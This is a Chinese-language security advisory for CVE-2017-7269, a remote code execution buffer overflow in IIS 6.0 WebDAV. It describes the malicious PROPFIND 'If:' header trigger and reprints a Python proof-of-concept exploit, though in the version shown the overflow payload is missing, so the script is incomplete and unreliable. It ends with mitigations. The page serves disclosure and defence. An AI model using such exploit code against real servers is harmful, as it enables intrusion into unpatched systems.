帮助与文档

【漏洞预警】IIS 6.0 远程代码执行0day (附PoC)

 

漏洞描述

 

漏洞编号:CVE-2017-7269

发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)

漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。

漏洞类型:缓冲区溢出

漏洞等级:高危

影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)

触发函数:ScStoragePathFromUrl函数

附加信息:ScStoragePathFromUrl函数被调用了两次

漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以“If:<http://”开始的较长header头的PROPFIND请求执行任意代码。

 

PoC(来源网络https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py)

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.

#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China 

#-----------Email: edwardz@foxmail.com

import socket  

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  

sock.connect(('127.0.0.1',80))  

pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'

pay+='If: '

pay+=' (Not \r\n\r\n'

print pay

sock.send(pay)  

data = sock.recv(80960)  

print data 

sock.close

 

验证截图

 

 

临时解决办法

 

1.关闭WebDAV服务

2.使用相关防护设备

 

参考

 

https://github.com/edwardz246003/IIS_exploit/

 


  • 波浪
  • 波浪